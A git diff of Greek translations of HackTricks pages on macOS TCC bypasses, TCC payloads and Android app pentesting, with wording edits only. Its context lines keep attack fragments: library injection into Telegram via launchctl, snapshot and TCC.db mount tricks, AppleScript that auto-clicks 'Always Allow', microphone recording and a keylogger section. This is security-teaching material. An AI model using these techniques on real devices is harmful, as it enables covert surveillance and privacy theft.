@ -302,7 +303,7 @@ exit(0);
|
||||
|
||||
### Device Abstraction Layer (DAL) Plug-Ins
|
||||
|
||||
Οι εφαρμογές συστήματος που ανοίγουν ροή κάμερας μέσω Core Media I/O (εφαρμογές με **`kTCCServiceCamera`**) φορτώνουν **κατά τη διαδικασία αυτά τα πρόσθετα** που βρίσκονται στο `/Library/CoreMediaIO/Plug-Ins/DAL` (όχι περιορισμένα από SIP).
|
||||
Οι εφαρμογές συστήματος που ανοίγουν ροή κάμερας μέσω Core Media I/O (εφαρμογές με **`kTCCServiceCamera`**) φορτώνουν **στη διαδικασία αυτά τα πρόσθετα** που βρίσκονται στο `/Library/CoreMediaIO/Plug-Ins/DAL` (όχι περιορισμένα από SIP).
|
||||
|
||||
Απλά αποθηκεύοντας εκεί μια βιβλιοθήκη με τον κοινό **κατασκευαστή** θα λειτουργήσει για **εισαγωγή κώδικα**.
|
||||
|
||||
@ -340,13 +341,13 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||
|
||||
### CVE-2020-10006
|
||||
|
||||
Το δυαδικό αρχείο `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` είχε τα δικαιώματα **`com.apple.private.tcc.allow`** και **`com.apple.security.get-task-allow`**, που επέτρεπαν την εισαγωγή κώδικα μέσα στη διαδικασία και τη χρήση των δικαιωμάτων TCC.
|
||||
Το δυαδικό `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` είχε τα δικαιώματα **`com.apple.private.tcc.allow`** και **`com.apple.security.get-task-allow`**, που επέτρεπαν την έγχυση κώδικα μέσα στη διαδικασία και τη χρήση των δικαιωμάτων TCC.
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Το Telegram είχε τα δικαιώματα **`com.apple.security.cs.allow-dyld-environment-variables`** και **`com.apple.security.cs.disable-library-validation`**, οπότε ήταν δυνατό να το εκμεταλλευτεί κανείς για **να αποκτήσει πρόσβαση στα δικαιώματά του** όπως η καταγραφή με την κάμερα. Μπορείτε να [**βρείτε το payload στην αναφορά**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή env για να φορτώσετε μια βιβλιοθήκη, δημιουργήθηκε μια **προσαρμοσμένη plist** για να εισαχθεί αυτή η βιβλιοθήκη και χρησιμοποιήθηκε το **`launchctl`** για να την εκκινήσει:
|
||||
Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή env για να φορτώσετε μια βιβλιοθήκη, μια **προσαρμοσμένη plist** δημιουργήθηκε για να εγχύσει αυτή τη βιβλιοθήκη και χρησιμοποιήθηκε το **`launchctl`** για να την εκκινήσει:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -382,9 +383,9 @@ launchctl load com.telegram.launcher.plist
|
||||
|
||||
### Σενάρια Τερματικού
|
||||
|
||||
Είναι αρκετά συνηθισμένο να δίνετε στο τερματικό **Πλήρη Πρόσβαση Δίσκου (FDA)**, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνικούς. Και είναι δυνατόν να καλέσετε σενάρια **`.terminal`** χρησιμοποιώντας το.
|
||||
Είναι αρκετά συνηθισμένο να δίνετε στο τερματικό **Full Disk Access (FDA)**, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνολογικούς ανθρώπους. Και είναι δυνατόν να καλέσετε σενάρια **`.terminal`** χρησιμοποιώντας το.
|
||||
|
||||
Τα σενάρια **`.terminal`** είναι αρχεία plist όπως αυτό με την εντολή που θα εκτελεστεί στο κλειδί **`CommandString`**:
|
||||
**`.terminal`** σενάρια είναι αρχεία plist όπως αυτό με την εντολή που θα εκτελεστεί στο κλειδί **`CommandString`**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
@ -417,8 +418,8 @@ exploit_location]; task.standardOutput = pipe;
|
||||
|
||||
### CVE-2020-9771 - παράκαμψη TCC mount_apfs και εκμετάλλευση προνομίων
|
||||
|
||||
**Οποιοσδήποτε χρήστης** (ακόμα και οι μη προνομιούχοι) μπορεί να δημιουργήσει και να τοποθετήσει μια στιγμιότυπο μηχανής χρόνου και **να έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\
|
||||
Η **μόνη προνομιακή** πρόσβαση που απαιτείται είναι για την εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`) η οποία πρέπει να παραχωρηθεί από έναν διαχειριστή.
|
||||
**Οποιοσδήποτε χρήστης** (ακόμα και οι μη προνομιούχοι) μπορεί να δημιουργήσει και να τοποθετήσει μια στιγμιότυπη εικόνα του Time Machine και να **έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτής της στιγμιότυπης εικόνας.\
|
||||
Η **μόνη προνομιακή** πρόσβαση που απαιτείται είναι για την εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`), η οποία πρέπει να παραχωρηθεί από έναν διαχειριστή.
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
@ -440,9 +441,9 @@ ls /tmp/snap/Users/admin_user # This will work
|
||||
```
|
||||
Μια πιο λεπτομερής εξήγηση μπορεί να [**βρεθεί στην αρχική αναφορά**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
|
||||
|
||||
### CVE-2021-1784 & CVE-2021-30808 - Τοποθέτηση αρχείου πάνω από το TCC
|
||||
### CVE-2021-1784 & CVE-2021-30808 - Mount over TCC file
|
||||
|
||||
Ακόμα και αν το αρχείο DB του TCC είναι προστατευμένο, ήταν δυνατό να **τοποθετηθεί ένα νέο αρχείο TCC.db** πάνω από τον κατάλογο:
|
||||
Ακόμα και αν το αρχείο TCC DB είναι προστατευμένο, ήταν δυνατό να **mount over the directory** ένα νέο αρχείο TCC.db:
|
||||
```bash
|
||||
# CVE-2021-1784
|
||||
## Mount over Library/Application\ Support/com.apple.TCC
|
||||
@ -467,7 +468,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
|
||||
### CVE-2024-40855
|
||||
|
||||
Όπως εξηγήθηκε στο [πρωτότυπο άρθρο](https://www.kandji.io/blog/macos-audit-story-part2), αυτή η CVE εκμεταλλεύτηκε το `diskarbitrationd`.
|
||||
Όπως εξηγήθηκε στο [πρωτότυπο άρθρο](https://www.kandji.io/blog/macos-audit-story-part2), αυτό το CVE εκμεταλλεύτηκε το `diskarbitrationd`.
|
||||
|
||||
Η συνάρτηση `DADiskMountWithArgumentsCommon` από το δημόσιο πλαίσιο `DiskArbitration` εκτελούσε τους ελέγχους ασφαλείας. Ωστόσο, είναι δυνατόν να παρακαμφθεί καλώντας απευθείας το `diskarbitrationd` και επομένως να χρησιμοποιηθούν στοιχεία `../` στη διαδρομή και symlinks.
|
||||
|
||||
@ -490,7 +491,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
|
||||
## Από grep
|
||||
|
||||
Σε πολλές περιπτώσεις, αρχεία θα αποθηκεύουν ευαίσθητες πληροφορίες όπως emails, αριθμούς τηλεφώνου, μηνύματα... σε μη προστατευμένες τοποθεσίες (που μετράνε ως ευπάθεια στην Apple).
|
||||
Σε πολλές περιπτώσεις, τα αρχεία θα αποθηκεύουν ευαίσθητες πληροφορίες όπως emails, αριθμούς τηλεφώνου, μηνύματα... σε μη προστατευμένες τοποθεσίες (που μετράνε ως ευπάθεια στην Apple).
|
||||
|
||||
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -4,8 +4,8 @@
|
||||
|
||||
## Apple Scripts
|
||||
|
||||
Είναι μια γλώσσα scripting που χρησιμοποιείται για την αυτοματοποίηση εργασιών **αλληλεπιδρώντας με απομακρυσμένες διαδικασίες**. Διευκολύνει πολύ το **να ζητάμε από άλλες διαδικασίες να εκτελούν κάποιες ενέργειες**. **Malware** μπορεί να εκμεταλλευτεί αυτές τις δυνατότητες για να εκμεταλλευτεί τις λειτουργίες που εξάγονται από άλλες διαδικασίες.\
|
||||
Για παράδειγμα, ένα malware θα μπορούσε να **εισάγει αυθαίρετο JS κώδικα σε ανοιγμένες σελίδες του προγράμματος περιήγησης**. Ή να **κάνει αυτόματη κλικ** σε κάποιες άδειες που ζητούνται από τον χρήστη;
|
||||
Είναι μια γλώσσα scripting που χρησιμοποιείται για την αυτοματοποίηση εργασιών **αλληλεπιδρώντας με απομακρυσμένες διαδικασίες**. Διευκολύνει πολύ το **να ζητάμε από άλλες διαδικασίες να εκτελέσουν κάποιες ενέργειες**. **Malware** μπορεί να εκμεταλλευτεί αυτές τις δυνατότητες για να εκμεταλλευτεί τις λειτουργίες που εξάγονται από άλλες διαδικασίες.\
|
||||
Για παράδειγμα, ένα malware θα μπορούσε να **εισάγει αυθαίρετο κώδικα JS σε ανοιγμένες σελίδες του προγράμματος περιήγησης**. Ή να **κάνει αυτόματη κλικ** σε κάποιες άδειες που ζητούνται από τον χρήστη;
|
||||
```applescript
|
||||
tell window 1 of process "SecurityAgent"
|
||||
click button "Always Allow" of group 1
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="ObjetiveC"}}
|
||||
Αντιγράψτε `$HOME/Desktop` στο `/tmp/desktop`.
|
||||
Αντιγράψτε το `$HOME/Desktop` στο `/tmp/desktop`.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
@ -205,7 +205,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="ObjetiveC"}}
|
||||
Αντιγράψτε `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`.
|
||||
Αντιγράψτε το `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
@ -560,7 +560,7 @@ static void telegram(int argc, const char **argv) {
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Shell"}}
|
||||
Καταγράψτε ένα ήχο 5 δευτερολέπτων και αποθηκεύστε τον στο `/tmp/recording.wav`
|
||||
Καταγράψτε ένα ήχο 5 δευτερολέπτων και αποθηκεύστε το στο `/tmp/recording.wav`
|
||||
```bash
|
||||
# Check the microphones
|
||||
ffmpeg -f avfoundation -list_devices true -i ""
|
||||
@ -573,7 +573,7 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
||||
### Τοποθεσία
|
||||
|
||||
> [!TIP]
|
||||
> Για να αποκτήσει μια εφαρμογή την τοποθεσία, **Υπηρεσίες Τοποθεσίας** (από Ιδιωτικότητα & Ασφάλεια) **πρέπει να είναι ενεργοποιημένες,** αλλιώς δεν θα μπορεί να έχει πρόσβαση σε αυτήν.
|
||||
> Για να αποκτήσει μια εφαρμογή την τοποθεσία, **Οι Υπηρεσίες Τοποθεσίας** (από Ιδιωτικότητα & Ασφάλεια) **πρέπει να είναι ενεργοποιημένες,** αλλιώς δεν θα μπορεί να έχει πρόσβαση σε αυτήν.
|
||||
|
||||
- **Δικαιώματα**: `com.apple.security.personal-information.location`
|
||||
- **TCC**: Χορηγήθηκε στο `/var/db/locationd/clients.plist`
|
||||
@ -770,7 +770,7 @@ return 0;
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Keylogger"}}
|
||||
Αποθηκεύστε τα πατημένα πλήκτρα στο **`/tmp/keystrokes.txt`**
|
||||
Αποθήκευση των πατημένων πλήκτρων στο **`/tmp/keystrokes.txt`**
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
@ -877,6 +877,6 @@ return 0;
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!CAUTION] > **Η προσβασιμότητα είναι μια πολύ ισχυρή άδεια**, θα μπορούσατε να την καταχραστείτε με άλλους τρόπους, για παράδειγμα θα μπορούσατε να εκτελέσετε την **επίθεση πληκτρολογίων** μόνο από αυτήν χωρίς να χρειάζεται να καλέσετε τα System Events.
|
||||
> [!CAUTION] > **Η προσβασιμότητα είναι μια πολύ ισχυρή άδεια**, θα μπορούσατε να την καταχραστείτε με άλλους τρόπους, για παράδειγμα θα μπορούσατε να εκτελέσετε την **επίθεση πληκτρολογίου** μόνο από αυτήν χωρίς να χρειάζεται να καλέσετε τα System Events.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Βασικά για Εφαρμογές Android
|
||||
## Βασικά για τις Εφαρμογές Android
|
||||
|
||||
Συνιστάται ανεπιφύλακτα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
|
||||
|
||||
@ -19,7 +19,7 @@ android-applications-basics.md
|
||||
|
||||
## Smali
|
||||
|
||||
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να τον ξανασυμπιέσετε.\
|
||||
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
|
||||
[**Σε αυτό το σεμινάριο** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
|
||||
|
||||
## Άλλες ενδιαφέρουσες τεχνικές
|
||||
@ -52,7 +52,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### Αναζητώντας ενδιαφέροντα στοιχεία
|
||||
|
||||
Απλά ρίχνοντας μια ματιά στις **αλφαβητικές σειρές** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... αναζητήστε ακόμη και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή).
|
||||
Απλά ρίχνοντας μια ματιά στις **αλφαβητικές σειρές** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε άλλο ενδιαφέρον... αναζητήστε ακόμη και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή).
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -66,8 +66,8 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
|
||||
- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπεται η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
|
||||
- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP. Ένα παράδειγμα είναι η επιτρεπόμενη κίνηση HTTP για συγκεκριμένα domains.
|
||||
- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να κακοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
|
||||
- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains.
|
||||
- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να χρησιμοποιηθούν κακόβουλα. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
|
||||
- **Content Providers και FileProviders**: Οι εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η ρύθμιση των FileProviders θα πρέπει επίσης να εξεταστεί προσεκτικά.
|
||||
- **Broadcast Receivers και URL Schemes**: Αυτά τα στοιχεία θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για ευπάθειες εισόδου.
|
||||
- **Εκδόσεις SDK**: Τα χαρακτηριστικά `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία της μη υποστήριξης παλαιών, ευάλωτων εκδόσεων Android για λόγους ασφαλείας.
|
||||
@ -76,8 +76,8 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
|
||||
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**.
|
||||
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή-στόχο**. Μόλις καλύψει ορατά την εφαρμογή-στόχο, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ περνά την αλληλεπίδραση στην εφαρμογή-στόχο.\
|
||||
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι στην πραγματικότητα εκτελεί ενέργειες στην εφαρμογή-στόχο**.
|
||||
|
||||
Βρείτε περισσότερες πληροφορίες στο:
|
||||
|
||||
@ -87,7 +87,7 @@ tapjacking.md
|
||||
|
||||
### Hijacking Εργασιών
|
||||
|
||||
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε hijacking εργασιών. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
|
||||
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε hijacking εργασιών. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
|
||||
|
||||
Περισσότερες πληροφορίες στο:
|
||||
|
||||
@ -99,12 +99,12 @@ android-task-hijacking.md
|
||||
|
||||
**Εσωτερική Αποθήκευση**
|
||||
|
||||
Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέπουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
|
||||
Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφάλειας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
|
||||
|
||||
1. **Στατική Ανάλυση:**
|
||||
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένη ή μη εξουσιοδοτημένη πρόσβαση**.
|
||||
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν δυνητικά να εκθέσουν** αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
|
||||
2. **Δυναμική Ανάλυση:**
|
||||
- **Επαληθεύστε** τις **άδειες** που έχουν οριστεί στα αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
|
||||
- **Επαληθεύστε** τις **άδειες** που έχουν οριστεί σε αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
|
||||
|
||||
**Εξωτερική Αποθήκευση**
|
||||
|
||||
@ -116,7 +116,7 @@ android-task-hijacking.md
|
||||
- Δεδομένης της ευκολίας πρόσβασης, συνιστάται **να μην αποθηκεύετε ευαίσθητες πληροφορίες** στην εξωτερική αποθήκευση.
|
||||
- Η εξωτερική αποθήκευση μπορεί να αφαιρεθεί ή να προσπελαστεί από οποιαδήποτε εφαρμογή, καθιστώντας την λιγότερο ασφαλή.
|
||||
3. **Διαχείριση Δεδομένων από Εξωτερική Αποθήκευση**:
|
||||
- Πάντα **εκτελέστε έλεγχο εισόδου** στα δεδομένα που ανακτώνται από την εξωτερική αποθήκευση. Αυτό είναι κρίσιμο καθώς τα δεδομένα προέρχονται από μια μη αξιόπιστη πηγή.
|
||||
- Πάντα **εκτελέστε έλεγχο εισόδου** στα δεδομένα που ανακτώνται από την εξωτερική αποθήκευση. Αυτό είναι κρίσιμο επειδή τα δεδομένα προέρχονται από μια μη αξιόπιστη πηγή.
|
||||
- Η αποθήκευση εκτελέσιμων ή αρχείων κλάσης στην εξωτερική αποθήκευση για δυναμική φόρτωση αποθαρρύνεται έντονα.
|
||||
- Εάν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από την εξωτερική αποθήκευση, βεβαιωθείτε ότι αυτά τα αρχεία είναι **υπογεγραμμένα και κρυπτογραφικά επαληθευμένα** πριν φορτωθούν δυναμικά. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ασφάλειας της εφαρμογής σας.
|
||||
|
||||
@ -127,8 +127,8 @@ android-task-hijacking.md
|
||||
|
||||
**Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο**
|
||||
|
||||
- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα αρχεία xml στην διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
|
||||
- **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα βάσεις δεδομένων sqlite στην διαδρομή `/data/data/<packagename>/databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
|
||||
- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στη διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
|
||||
- **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα sqlite βάσεις δεδομένων στη διαδρομή `/data/data/<packagename>/databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
|
||||
|
||||
### Σπασμένο TLS
|
||||
|
||||
@ -149,11 +149,11 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
**Χρήση Ανασφαλών και/ή Καταργημένων Αλγορίθμων**
|
||||
|
||||
